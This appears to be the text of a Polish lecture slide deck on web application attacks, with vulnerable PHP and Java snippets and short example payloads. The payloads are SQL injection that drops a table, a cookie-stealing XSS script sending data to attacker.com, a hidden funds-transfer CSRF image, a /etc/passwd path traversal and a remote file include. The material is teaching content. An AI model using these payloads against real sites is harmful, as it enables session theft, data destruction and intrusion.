Ataki na aplikacje WWW Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW
Ataki na aplikację Ataki na przeglądarkę Ataki na serwer WWW/kontener, etc. Często kombinacja i wiele etapów
Którędy do środka GET Parametry GET POST HTTP headers and cookies Upload plików Logika aplikacji
GET http://example.com/index.php? lang=pl&cat=2&sidebar=yes&jsessio NID=34F0A...
POST http://127.0.0.1/pass.php POST /pass.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml Accept-Language: en- US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://127.0.0.1/pass.php Cookie: passx=87e8af376bc9d9bfec2c7c0193e6af70; PHPSESSID=l9hk7mfh0ppqecg8gialak6gt5 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 30 username=zurfyx&pass=password
POST HTTP/1.1 302 Found Date: Sun, 27 Jan 2013 19:26:17 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 X-Powered-By: PHP/5.4.7 Set-Cookie: user=zurfyx Set-Cookie: pass=8f9a9ae93912ed Location: index.php Content-Length: 232 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
Którędy do środka Nagłówki HTTP Cookies Upload plików Logika aplikacji
Którędy do środka JavaScript Web Services API DNS Poczta
Injection SQL Injection XML Injection XPath Injection Code Injection LDAP Injection ORM Injection IMAP/SMTP Injection
SQL Injection $q = mysql_query("select * FROM uzytkownicy WHERE uzytkownik = '$uzytkownik'"); Użytkownik: x' OR '1'='1 x';drop TABLE uzytkownicy; SELECT '1
Uwierzytelnianie i zarządzanie sesją Co to jest sesja i dlaczego ciastko to za mało? Jak ukraść sesję Sniffing XSS Kradzież z systemu klienta Z paska przeglądarki Zgadywanie/przewidywanie Kolizja
Cross-Site Scripting (XSS) <script>alert("xss")</script> Stored (persistent) XSS Reflective (non-persistent) XSS DOM based XSS
Cross-Site Scripting (XSS) Stored XSS Zostawiamy skrypt na serwerze Wypełnienie formularza Fora dyskusyjne Komentarze
Cross-Site Scripting (XSS) Reflected XSS Serwer przetwarza parametry żądania Zwraca gdzieś na stronie wartość parametru Czy aż tak groźny? Wymaga zazwyczaj podłożenia złośliwego linka
Cross-Site Scripting (XSS) Przykład XSS Kod aplikacji: (String) page += "<input name='creditcard' type='text' value='" + request.getparameter("cc") + "'>"; Parametr CC: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'
Cross-Site Scripting (XSS) DOM based XSS Kod strony: <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.url.indexof("name=")+5; document.write(document.url.substring(pos,document.url.length )); </SCRIPT> <BR> Welcome to our system </HTML>
Cross-Site Scripting (XSS) Spodziewane żądanie http://www.vuln.site/welcome.html?name=joe Podstawione żądanie http://www.vuln.site/welcome.html?name= <script>alert(document.cookie)</script>
Cross-Site Request Forgery (CSRF) Wykonanie operacji przez przeglądarkę w imieniu zalogowanego użytkownika Przykład: skłonienie do kliknięcia w spreparowany link podczas sesji <img src="http://example.com/app/transferfunds? amount=1500&destinationaccount= attackersacct#" width="0" height="0" />
Cross-Site Request Forgery (CSRF) Raczej dla żądań typu GET Atak na POST możliwy zazwyczaj JavaScript Ochrona Tokeny BHP pracy z przeglądarką Captcha/Logowanie przy operacjach krytycznych
Dziury w komponentach Czekamy i drżymy PHP, JEE, ASP.NET, etc. CRM JavaScript Usługi pomocnicze
Dziury w komponentach Odays OSVDB CVS
LFI/RFI Local File Inclusion Remote File Inclusion
LFI <?php $file = $_GET['file']; if(isset($file)) { include("pages/$file"); } else { include("index.php"); }?> http://example.com/index.php?file=contactus.php http://example.com/index.php?file=../../../../etc/passwd
RFI <?php $file = $_GET['file']; if(isset($file)) { include("$file"); } else { include("index.php"); }?> http://example.com/index.php?file=contactus.php http://example.com/index.php? file=http://evilsite.com/malicoiuspage.php
Błędy konfiguracji Panel administracyjny zabezpieczony? Listing katalogu zabroniony? Wyłączony tryb "debug"? Obsługa błędów? Przykładowe aplikacje? Niepodlinkowane zasoby? Czy wszystkie zasoby mają ACL/autoryzację?
Wyciek danych TLS Dane wrażliwe Numery kart kredytowych szyfrowane? Hasła haszowane? Hasła solone? Jakie algorytmy stosowane Gdzie klucze prywatne?
Usługi pomocnicze DNS FTP SSH Bazy danych Panele administracyjne
Logika aplikacji Zależne od budowy aplikacji Klasyka Password Recovery/Reset
DoS TCP/IP Serwer WWW TLS Aplikacja
Z pudełka czy własne? Które bezpieczniejsze?
Pytania